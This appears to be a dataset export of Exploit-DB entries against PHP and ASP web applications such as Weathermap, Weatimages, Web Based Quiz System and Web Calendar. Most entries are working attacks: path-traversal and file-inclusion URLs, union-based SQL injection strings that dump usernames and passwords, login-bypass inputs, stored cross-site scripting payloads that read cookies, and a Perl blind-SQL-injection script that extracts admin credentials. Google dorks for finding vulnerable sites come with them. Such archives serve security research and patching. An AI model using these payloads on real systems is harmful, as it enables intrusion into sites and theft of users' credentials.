deardaniel/secdata-raw huggingface dataset:
Exploit-DB #26125
Description: Weathermap 0.97c - 'mapname' Local File Inclusion
Type: webapps
Platform: php
Date: 2013-06-11
Author: Anthony Dubuissez

Exploit:
=============================================
WEBERA ALERT ADVISORY 01

- Discovered by: Anthony Dubuissez
- Severity: high
- CVE Request - 03/06/2013
- CVE Assign - 03/06/2013
- CVE Number - CVE-2013-3739
- Vendor notification - 03/06/2013
- Vendor reply - No reply
- Public disclosure - 10/06/2013

=============================================

I. VULNERABILITY -------------------------
Local File Inclusion in Weathermap <= 0.97C

II. BACKGROUND -------------------------

Network Weathermap is a network visualisation tool, to take data you already have and show you an overview of your network in map form. Support is built in for RRD, MRTG (RRD and old log-format), and tab-delimited text files. Other sources are via plugins or external scripts.

III. DESCRIPTION -------------------------
Network Weathermap 0.97C and lower versions contain a flaw that allows a local file inclusion attack. This flaw exists because the application does not properly sanitise the parameter "mapname" in the editor.php file. This allows an attacker to create a specially crafted URL to include any ".config" file on the web server, you can bypass the ".config" restriction filter with a php bug.

the editor.php must be enabled to successfully exploit.

IV. PROOF OF CONCEPT -------------------------
LFI: http://server/editor.php?action=show_config&mapname=../../../../../../../../../etc/apache2/apache2.conf

V. BUSINESS IMPACT -------------------------
LFI: With a php bug we can include any file that the webserver has right to read, including sensitive config files ( php file too, because it's not executed but read with fopen) .

VI. SYSTEMS AFFECTED -------------------------
Network Weathermap 0.97C and lower versions

VII. SOLUTION -------------------------
sanitize correctly the mapname parameter.

TEMP SOLUTION : disable editor.php

VIII. REFERENCES -------------------------
http://www.webera.fr/advisory-01-network-weathermap-local-file-inclusion-exploit

IX. CREDITS ------------------------- 
the vulnerability has been discovered by Anthony Dubuissez (anthony (dot) dubuissez (at) webera (dot) fr).

X. DISCLOSURE TIMELINE -------------------------
June 01, 2013: Vulnerability acquired by Webera
June 03, 2013: Sent to vendor.
June 06, 2013: No reply of vendor, sent second email.
June 10, 2013: No reply of vendor, Advisory published and sent to lists.

XI. LEGAL NOTICES -------------------------
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.Webera accepts no responsibility for any damage caused by the use or misuse of this information.

XII. FOLLOW US -------------------------
You can follow Webera, news and security advisories at:

On twitter : @erathemass
Exploit-DB #10846
Description: Weatimages - Directory Traversal / Local File Inclusion
Type: webapps
Platform: php
Date: 2009-12-31
Author: e.wiZz

Exploit:
Weatimages Directory Traversal&Local File Include Vulnerabilities

By: e.wiZz!


############Script info:

############Site: http://nazarkin.name/projects/weatimages/download.php



In the wild...

#######################################################


#######index.php:

...

//kill oneself if user trying to access resource with '/../' in path
if (strstr(urldecode($_SERVER['REQUEST_URI']), '/../')) { fatal_error('Suspicious query rejected'); }

...

if (!$REQUEST_PATH) {
	if ($_GET['path']) { //compatibility mode enabled and we have some path
		$REQUEST_PATH = $_GET['path'];
		$SERVER_PHP_SELF = $_SERVER['SCRIPT_NAME'] . '/' . $REQUEST_PATH . '/';
	}
	else { //we are in the root directory
		$REQUEST_PATH = '.';
	}
}

...

...huh, did you know there are Windows servers?

#####List files in directory you want(linux):

http://inthewild/index.php?path=../
http://inthewild/index.php?path=../..

##### Windows?:

http://inthewild/index.php?path=..\anything


########Dork:
http://www.google.ba/#hl=bs&q=%22Powered+by+Weatimages%22&start=20&sa=N&fp=73afe0b6734a45d2  (google says 200 000,i dont trust them)
Exploit-DB #3700
Description: Weatimages 1.7.1 - ini[langpack] Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-10
Author: Co-Sarper-Der

Exploit:
RFI Weatimages Hack
Script name : Weatimages
Script Download Adress:http://www.hotscripts.com/jump.php?listing_id=52592&jump_type=1
Demo site:http://www.nazarkin.name/projects/weatimages/demo/index.php?ini[langpack]=shelladress
Google Dork : inurl: index.php?ini[langpack]=

Author:Co-Sarper-Der
Contact:Sarperonline@gmail.com
Note:Thanx to ForeveRIslam

side note:

4. Installation

Unpack file "index.php" from this archive and upload it to separate directory (e.g. "photos/") on your web server.
In order to enable caching capabilities, you need to create the new directory named "weatimages-cache" in directory 
with "index.php" and to set access rights 777 (rwxrwxrwx) to "weatimages-cache".
If you plan to customize configuration, upload "weatimages.ini" too.

If weatimages.ini was uploaded too then the product isn't vulnerable.

# milw0rm.com [2007-04-10]
Exploit-DB #16140
Description: Web 2.0 Social Network Freunde Community - SQL Injection
Type: webapps
Platform: php
Date: 2011-02-09
Author: NoNameMT

Exploit:
# Exploit Title: Web 2.0 Social Network Freunde Community SQL Injection
Vunerability
# Google Dork: inurl:"user.php?userId=" +site:de
# Date: 08.02.2011
# Author: NoNameMT
# Software Link:
http://www.scripteverkauf.com/products/de/neuheiten/web-20-social-network-freunde-community.html
# Version: -
# Price: 79,50 €
# Tested on: Windows 7 Ultimate
# Mail: nonamemt@gmail.com
# Homepage: http://nonamemt.us

# Exploit:
http://localhost/user.php?userId=-496'+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x203a20,id,nickname,password),11,12,13,14+from+ch_user--+

# Greetings:
J0hn.X3r, 4004-security-project.com, TamCore, bursali, theeddy42
Exploit-DB #34014
Description: Web 2.0 Social Network Freunde Community System - 'user.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-05-08
Author: Easy Laster

Exploit:
source: https://www.securityfocus.com/bid/40264/info

Web 2.0 Social Network Freunde Community System is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/cms/user.php?toDo=showgallery&id=[PII_REDACTED]99+UNION+SELECT+1,concat(password,0x3a,id),3,4,5,6,7,8,9,10,11,12,13,14+from+admin
Exploit-DB #35697
Description: Web Auction 0.3.6 - 'lang' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-05-03
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/47682/info

Web Auction is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Web Auction 0.3.6 is vulnerable; other versions may also be affected. 

http://www.example.com/webauction-0.3.6/dataface/lib/jscalendar/test.php?lang=%22%3E%3C/script%3E%3Cscript%3Ealert(0)//
Exploit-DB #40543
Description: Web Based Alumni Tracking System 0.1 - SQL Injection
Type: webapps
Platform: php
Date: 2016-10-14
Author: lahilote

Exploit:
# Exploit Title.............. Web Based Alumni Tracking System Multiple Vulnerability
# Google Dork................ N/A
# Date....................... 14/10/2016
# Exploit Author............. lahilote
# Vendor Homepage............ http://www.sourcecodester.com/php/10832/web-based-alumni-tracking-system.html
# Software Link.............. http://www.sourcecodester.com/sites/default/files/download/John%20Mark%20Ulep/web-based_alumni_tracking_system.zip
# Version.................... 0.1
# Tested on.................. xampp
# CVE........................ N/A


The audit_list in /admin/print_employed.php
-------------------------------

----snip----

48 <?php $get_id = $_GET['id'];?>

----snip----

/admin/index.php
----------------

----snip----

$user = $_POST['username'];
$password = $_POST['password'];


$myquery = mysql_query("select * from user where username = '$user' and [CREDENTIAL_REDACTED]'")or die(mysql_error());

----snip----


Example exploitation
--------------------
http://server/path_to_webapp/admin/print_employed.php?id=-2%27%20union%20select%201,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12%20from%20user--+

http://server/path_to_webapp/admin/index.php
Login with username and password: admin' or '1'='1


How to fix
----------
Simple method's use the php function intval and mysql_real_escape_string.

   Example: /admin/print_employed.php

		48 <?php $get_id = intval($_GET['id']);?>


   Example: /admin/index.php

$user = mysql_real_escape_string($_POST['username']);
$password = mysql_real_escape_string($_POST['password']);


$myquery = mysql_query("select * from user where username = '$user' and [CREDENTIAL_REDACTED]'")or die(mysql_error());

Credits
-------
This vulnerability was discovered and researched by lahilote

References
----------
http://www.sourcecodester.com/php/10832/web-based-alumni-tracking-system.html
http://php.net/manual/en/function.intval.php
http://php.net/manual/en/function.mysql-real-escape-string.php
Exploit-DB #48672
Description: Web Based Online Hotel Booking System 0.1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2020-07-15
Author: KeopssGroup0day_Inc

Exploit:
# Exploit Title: Web Based Online Hotel Booking System 0.1.0 - Authentication Bypass
# Date: 2020-07-03
# Exploit Author: KeopssGroup0day,Inc
# Vendor Homepage: https://github.com/mrzulkarnine/Web-based-hotel-booking-system
# Software Link: https://github.com/mrzulkarnine/Web-based-hotel-
booking-system
# Version: 0.1.0
# Tested on: Kali Linux

Source code(localhost/admin/loginauth.php):
                   <?php
                        session_start();

                         $_SESSION['username'] = $_POST['username'];
                         $_SESSION['password'] =  $_POST['password'];

                         include './auth.php';
                         $re = mysql_query("select * from user where
username = '".$_SESSION['username']."'  AND password =
'".$_SESSION['password']."' " );
echo mysql_error();
                        if(mysql_num_rows($re) > 0)
                          {
                            header('Refresh: 0;url=dashboard.php');
                           }
                       else
                          {

                             session_destroy();
                             header("location: index.htm");
                           }
                           ?>

Payload:
       Username: 1' or 1 = 1 LIMIT 1#
       Password: 1' or 1 = 1 LIMIT 1#
Exploit-DB #49619
Description: Web Based Quiz System 1.0 - 'eid' Union Based Sql Injection (Authenticated)
Type: webapps
Platform: php
Date: 2021-03-04
Author: Deepak Kumar Bharti

Exploit:
# Exploit Title: Web Based Quiz System 1.0 - 'eid' Union Based Sql Injection (Authenticated)
# Date: 04-03-2021
# Exploit Author: Deepak Kumar Bharti
# Vendor Homepage: https://www.sourcecodester.com
# Software Download Link: https://www.sourcecodester.com/php/14727/web-based-quiz-system-phpmysqli-full-source-code.html
# Software: Web Based Quiz System
# Version: 1.0

# Tested on: Windows 10 Pro
# Union Based Sql Injection has been discovered in the Web Based Quiz System created by sourcecodester/janobe
# in Welcome page in quiz section eid parameter affected from this vulnerability.
# URL: http://localhost/welcome.php?q=quiz&step=2&eid=60377db362694' Union Select 1,database(),database(),4,5-- -&n=2&t=34

POC:
# go to url http://localhost/login.php
# then you have to login with default creds
# then go to quiz and execute the payload ie:--
http://localhost/welcome.php?q=quiz&step=2&eid=60377db362694' Union Select 1,database(),database(),4,5-- -&n=2&t=34
Exploit-DB #49605
Description: Web Based Quiz System 1.0 - 'MCQ options' Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2021-03-02
Author: Praharsh Kumar Singh

Exploit:
# Exploit Title: Web Based Quiz System 1.0 - 'MCQ options' Persistent/Stored Cross-Site Scripting
# Date: 2021-03-02
# Exploit Author: Praharsh Kumar Singh
# Vendor Homepage: https://www.sourcecodester.com
# Software Download Link: https://www.sourcecodester.com/php/14727/web-based-quiz-system-phpmysqli-full-source-code.html
# Software: Web Based Quiz System
# Version: 1.0
# Vulnerability Type: Cross-site Scripting
# Vulnerability: Persistent/Stored XSS
# Tested on: Parrot OS
 
# Stored/persistent XSS has been discovered in the Web Based Quiz System created by sourcecodester/janobe
# in adding questions in options parameter affected from this vulnerability.
# payload: </script><script >alert(document.cookie)</script>
 
POST /onlinequiz_0/update.php?q=addqns&n=1&eid=603d2f766b0d0&ch=4 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 101
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/onlinequiz_0/dashboard.php?q=4&step=2&eid=603d2f766b0d0&n=1
Cookie: PHPSESSID=icctgctoho6nlqc6cbp8bftkeh
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

qns1=1&11=1&12=1&13=%3C%2Fscript%3E%3Cscript+%3Ealert%28document.cookie%29%3C%2Fscript%3E&14=1&ans1=c
 
POC:
# go to url http://localhost:8080/admin.php
# login and add question
# then put the above payload in MCQ options parameter
# then fill the remaining details
# then click add
# go to url http://localhost:8080/login.php
# then login to user account
# then attempt the quiz while attempting the quiz xss pop up there..!
Exploit-DB #49607
Description: Web Based Quiz System 1.0 - 'name' Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2021-03-02
Author: P.Naveen Kumar

Exploit:
# Exploit Title: Web Based Quiz System 1.0 - 'name' Persistent/Stored Cross-Site Scripting
# Date: 2021-03-02
# Exploit Author: P.Naveen Kumar
# Vendor Homepage: https://www.sourcecodester.com
# Software Download Link : https://www.sourcecodester.com/php/14727/web-based-quiz-system-phpmysqli-full-source-code.html
# Software : Web Based Quiz System
# Version : 1.0
# Vulnerability Type : Cross-site Scripting
# Vulnerability : Persistent/Stored XSS
# Tested on: Windows 10 Pro

# Stored/persistent XSS has been discovered in the Web Based Quiz System created by sourcecodester/janobe
# in registration form in name parameter affected from this vulnerability.
# payload: <script>alert(document.cookie)</script>

# HTTP POST request
POST http://localhost:8080/quiz/register.php HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Length: 690
Origin: http://localhost:8080
Connection: keep-alive
Referer: http://localhost:8080/quiz/register.php
Cookie: PHPSESSID=ptujqhbkupjsqjkqs7tjhnb5er
Upgrade-Insecure-Requests: 1

----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="name"

<script>alert(document.cookie)</script>
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="email"

test123@gmail.com
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="password"

Hacker
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="college"

hello
----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="submit"


----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]--

POC:
# go to url http://localhost:8080/quiz/register.php
# then you have to fill the above payload in name/username parameter
# then fill the remaining details
# then click submit
# then login to user account
# then attempt any one quiz after attempting go to ranking section then
# you can see xss pop up there..!
Exploit-DB #41169
Description: Web Based TimeSheet Script - Authentication Bypass
Type: webapps
Platform: php
Date: 2017-01-26
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Web Based TimeSheet Script - Authentication Bypass
# Google Dork: N/A
# Date: 26.01.2017
# Vendor Homepage: http://qualitypointtech.net/
# Software Buy: http://www.qualitypointtech.com/webtimesheet/
# Demo: http://qualitypointtech.net/timesheetdemo/index.php
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Exploit :
# http://localhost/[PATH]/ and set Username:anything Password:'or''=' and hit enter.
# # # # #
Exploit-DB #5485
Description: Web Calendar 4.1 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-04-22
Author: t0pP8uZz

Exploit:
#!/usr/bin/perl

use strict;
use LWP::Simple;

print "-+--[ Web Calendar <= 4.1 Blind SQL Injection Exploit ]--+-\n";
print "-+--                                                   --+-\n";
print "-+--           Discovered && Coded By t0pP8uZz         --+-\n";
print "-+--             Discovered On: 24 April 2008          --+-\n";
print "-+--                                                   --+-\n";
print "-+-- Web Calendar suffers from a insecure mysql query  --+-\n";
print "-+--  the vendor has not been notified.. and wont be.. --+-\n";
print "-+--                                                   --+-\n";
print "-+--          Exploit tested in ActivePerl             --+-\n";
print "-+--                                                   --+-\n";
print "-+--[ Web Calendar <= 4.1 Blind SQL Injection Exploit ]--+-\n";

print "\nEnter URL (ie: http://site.com/webcal/): ";
	chomp(my $url=<STDIN>);
	
print "\n\nInjecting Please Wait..\n\n"
	
my $lop = 1;
my $num = 48;
my $sub = 1;
my $res = undef;
my $content = undef;

while($lop) {

	$content = get($url."/one_day.php?user_id=1 AND ASCII(SUBSTRING((SELECT CONCAT(login,char(58),password,char(94)) FROM T_AUTH WHERE role_id=1 LIMIT 0,1),".$sub.",1))=".$num."/*");
	
	if($content !~ /you are not in database/i && $num == 94) { $lop = 0; }
	elsif($content !~ /you are not in database/i) { $res .= chr($num); $num = 48; $sub++; print $res."\n"; }
	else { $num++; }
}

print "\nExploit Successfull! Admin Details Are: ".$res;

# Coded by t0pP8uZz

# milw0rm.com [2008-04-22]
Exploit-DB #27298
Description: Web Calendar Pro - 'Dropbase.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-02-23
Author: ReZEN

Exploit:
source: https://www.securityfocus.com/bid/16789/info

Web Calendar Pro is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. Exploitation may also cause a denial-of-service condition.

http://www.example.com/pathtocalendar/dropbase.php?tabls=' or 1=1 --
Exploit-DB #7242
Description: Web Calendar System 3.12/3.30 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2008-11-27
Author: Bl@ckbe@rD

Exploit:
000000  00000     0000    0000  000  00 000000  0000000   0000  000000  00000
 0    0   0      0    0  0    0  0   0   0    0  0    0  0    0  0    0  0   0
 0    0   0     0  00 0 0        0  0    0    0  0      0  00 0  0    0  0    0
 0    0   0     0 0 0 0 0        0  0    0    0  0  0   0 0 0 0  0    0  0    0
 00000    0     0 0 0 0 0        0 0     00000   0000   0 0 0 0  00000   0    0
 0    0   0     0 0 0 0 0        000     0    0  0  0   0 0 0 0  0  0    0    0
 0    0   0     0  000  0        0  0    0    0  0      0  000   0  0    0    0
 0    0   0   0  0       0    0  0   0   0    0  0    0  0       0   0   0   0
000000  0000000   000     0000  000  00 000000  0000000   000   000  00 00000



[+] Script               : Web Calendar System v 3.12/3.30

[+] Exploit Type         : Multiple Exploits (XSS + remote bypass Exploit)

[+] Google Dork          : intitle:Web Calendar system v 3.30        inurl:.asp
[+] Google Dork          : intitle:Web Calendar system v 3.12        inurl:.asp

[+] Contact              : blackbeard-sql@hotmail.fr


--//--> Exploit : 

1) Remote Bypass Exploit :

http://[website]/[script]/db/agenda/calendar.asp?DoAction=USER&Change=LOGINFORM

username:' or '1'='1

password:' or '1'='1

2) Remote XSS exploit : 

In simple words :

http://[website]/[script]/CALENDAR.ASP?DoAction=Calendar&View=Search&SText=<script>alert('Bl@ckbe@rD is not dead yet')</script>[Peace xD ]

# milw0rm.com [2008-11-27]